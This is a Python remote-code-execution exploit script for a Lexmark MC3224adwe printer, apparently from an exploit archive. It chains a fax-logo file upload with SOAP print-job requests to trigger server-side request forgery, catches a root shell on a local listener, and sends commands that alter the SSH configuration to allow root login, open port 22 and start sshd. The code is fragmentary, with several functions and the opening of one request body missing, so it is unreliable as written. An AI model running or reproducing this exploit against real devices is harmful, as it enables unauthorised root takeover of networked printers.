Exploit
Exploit
/usr/bin/env python
MAXTIME = (60*5)
LOCAL_PORT_ROOT = 1912
def banner():
print("")
print(" $$$ Lexmark MC3224adwe RCE Exploit $$$")
print(" -- by blasty <[email protected]> -- ")
print("")
def usage():
print(" usage: %s <target ip> <local ip>" % sys.argv[0])
print("")
exit(0)
COMMANDS_LPE="""
cat << EOF > /dev/shm/q.sh
#!/bin/sh
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#\\ 1/g' \
-e 's/AllowUsers guest/AllowUsers root guest/' \
/etc/ssh/sshd_config_perf > /tmp/sshconf
mkdir /var/run/sshd
iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT
nohup /usr/sbin/sshd -f /tmp/sshconf &
EOF
sh /dev/shm/q.sh
"""
LOGO_SRC_FILE = "/var/fs/shared/faxdata/logo"
FWDEBUG_PIPE = "/run/svcerr/auto_fwdebug_pipe"
<wse:Filter>http://schemas.microsoft.com/windows/2006/08/wdp/print/JobStatusEvent</wse:Filter>
</wse:Subscribe>
</soap:Body>
</soap:Envelope>
"""
<wsa:Action>http://schemas.microsoft.com/windows/2006/08/wdp/print/CreatePrintJob</wsa:Action>
<wsa:MessageID>
uuid:UUID_VALUE
</wsa:MessageID>
<wsa:ReplyTo>
<wsa:Address>http://1.2.3.4:1337</wsa:Address>
</wsa:ReplyTo>
<wsa:To>http://REMOTE_IP:65002</wsa:To>
</soap:Header>
<soap:Body>
<pri:CreatePrintJobRequest>
<pri:PrintTicket>
<pri:JobDescription>
<pri:JobName>JOBNAME</pri:JobName>
<pri:JobOriginatingUserName>user</pri:JobOriginatingUserName>
</pri:JobDescription>
</pri:PrintTicket>
</pri:CreatePrintJobRequest>
</soap:Body>
</soap:Envelope>
"""
def root_shell_task():
r = listener_task(LOCAL_PORT_ROOT, "ROOT-SHELL", COMMANDS_LPE.encode('utf8'))
report('!', 'ROOT-SHELL', "id output: " + r.decode('utf8'))
def write_logo_file(data):
r = requests.post(
"http://%s /webglue/uploadfile/ImportFaxLogo" % g_target,
files={
'x': data
}
)
uuid_val = str(uuid.uuid4())
r = requests.post(
"http://%s :65002/" % g_target,
headers = headers,
data = body_a
)
if r.status_code != 200:
report('x', 'SSRF', 'trigger part 1 failed')
exit(-1)
if r.status_code != 200:
report('x', 'SSRF', 'trigger part 2 failed')
exit(-1)
time.sleep(5)
return True
if __name__ == "__main__":
banner()
if len(sys.argv) != 3:
usage()
g_target = sys.argv[1]
g_local_ip = sys.argv[2]
stop_clock = False
thread_clock = Thread(target=clock_task)
thread_root_shell = Thread(target=root_shell_task)
thread_clock.start()
thread_root_shell.start()
starttime = datetime.now()
headers = {
"Content-Type": "application/soap+xml"
}
stop_clock = True
endtime = datetime.now()
delta = endtime - starttime
ssh_try = 0
while True:
report('*', 'HACK', "(%d ) attempting to connect to ssh.." % ssh_try)
try:
s = socket.create_connection((g_target, 22))
r = s.recv(1024)
report('!', 'HACK', "YES! ssh banner: " + r.decode('utf8'))
break
except:
pass
ssh_try = ssh_try + 1
time.sleep(0.5)